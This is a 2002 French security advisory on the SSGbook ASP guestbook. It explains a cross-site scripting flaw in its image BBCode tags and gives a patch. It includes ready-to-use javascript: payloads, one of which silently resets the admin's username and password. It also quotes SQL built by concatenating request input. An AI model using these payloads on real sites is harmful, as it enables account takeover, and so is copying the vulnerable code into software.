SSGbook
*******
Informations :
°°°°°°°°°°°°°°
Langage : ASP
Tested version : 1?
Website : http://www.script-shed.com
Problème : Cross Site Scripting
Developpement :
°°°°°°°°°°°°°°°
SSGbook est un guestbook avec une partie administrative, des smileys, un code propre à
lui-même,...
Aucun code HTML n'est autorisé, ainsi dans config.asp, on peut voir les lignes :
----------------------------------------------
strOutput = Replace(strOutput, "<", "<")
strOutput = Replace(strOutput, ">", ">")
----------------------------------------------
Si on entre comme message , il sera transformé par
<script>alert('XSS hole');</script>. Le script ne sera donc pas executé mais
bien interpreté et affiché comme du texte.
Mais on peut aussi voir, toujours dans config.asp, ces quelques lignes :
--------------------------------------------------------------------------------------------
fString = doCode(fString, "[img]","[/img]","")
fString = doCode(fString, "[image]","[/image]","")
fString = doCode(fString, "[img=right]","[/img=right]","")
fString = doCode(fString, "[image=right]","[/image=right]","")
fString = doCode(fString, "[img=left]","[/img=left]","")
fString = doCode(fString, "[image=left]","[/image=left]","")
--------------------------------------------------------------------------------------------
Les balises [img][/img] ou [image][/image] équivalent donc à la balise .
Rien de ce qui est entré dans la balises n'est vérifié.
On peut donc, avec le code [img]javascript:[SCRIPT][/img], faire executer un javascript
directement sur la page principale du guestbook.
Ce code aura été transformé en html pour donner :
D'autres variantes :
[image]javascript:[SCRIPT][/image]
[img=right]javascript:[SCRIPT][/img=right]
[image=right]javascript:[SCRIPT][/image=right]
[img=left]javascript:[SCRIPT][/img=left]
[image=left]javascript:[SCRIPT][/image=left]
Dans ss_admin.asp, on peut voir les lignes :
-------------------------------------
<%
If Request("Mode") = "Update" Then
[...]
Select Case Request("Action")
[...]
Case "Access"
Select Case dbtype
Case "MYSQL"
sqlUpdate = "UPDATE tblAdmin Set UserName = '" & Request.Form("UserName") & "',"
sqlUpdate = sqlUpdate & " Password = '" & Request.Form("Password") & "'"
sqlUpdate = sqlUpdate & " WHERE AdminID = 1;"
Case Else
sqlUpdate = "UPDATE tblAdmin Set [UserName] = '" & Request.Form("UserName") & "',"
sqlUpdate = sqlUpdate & " [Password] = '" & Request.Form("Password") & "'"
sqlUpdate = sqlUpdate & " WHERE AdminID = 1;"
End Select
-------------------------------------
Si la session AdminID n'est pas créée, on ne peut pas utiliser le fichier ss_admin.asp.
Mais si elle l'est, ce qui doit être le cas chez un admin, l'url
http://[website]/ss_admin.asp?Mode=Update&Acton=Access&UserName=Admin&Password=1234
remplacera le login de l'admin par Admin et son password par 1234.
Une possibilité d'utiliser la faille SSGbook est donc de faire visualiser à l'admin un message
avec le code, par exemple :
[image]javascript:document.location="ss_admin.asp?Mode=Update&Acton=Access&UserName=Haxor&Password=turlututu";[/image]
Il suffira alors de se logger normalement, ici avec le login Haxor et le pass turlututu.
Patch :
°°°°°°°
Dans config.asp, ajouter avant les lignes
----------------------------------------------
strOutput = Replace(strOutput, "<", "<")
strOutput = Replace(strOutput, ">", ">")
----------------------------------------------
la ligne de code :
strOutput = Replace(strOutput, chr(34), """)
et remplacer les lignes :
--------------------------------------------------------------------------------------------
fString = doCode(fString, "[img]","[/img]","")
fString = doCode(fString, "[image]","[/image]","")
fString = doCode(fString, "[img=right]","[/img=right]","")
fString = doCode(fString, "[image=right]","[/image=right]","")
fString = doCode(fString, "[img=left]","[/img=left]","")
fString = doCode(fString, "[image=left]","[/image=left]","")
--------------------------------------------------------------------------------------------
par :
--------------------------------------------------------------------------------------------
fString = doCode(fString, "[img]http://","[/img]","")
fString = doCode(fString, "[image]http://","[/image]","")
fString = doCode(fString, "[img=right]http://","[/img=right]","")
fString = doCode(fString, "[image=right]http://","[/image=right]","")
fString = doCode(fString, "[img=left]http://","[/img=left]","")
fString = doCode(fString, "[image=left]http://","[/image=left]","")
--------------------------------------------------------------------------------------------
Credits :
°°°°°°°°°
Auteur : frog-m@n
E-mail : leseulfrog@hotmail.com
Website : http://www.frog-man.org
Date : 25/09/02
Mises à jour :
- 08/10/02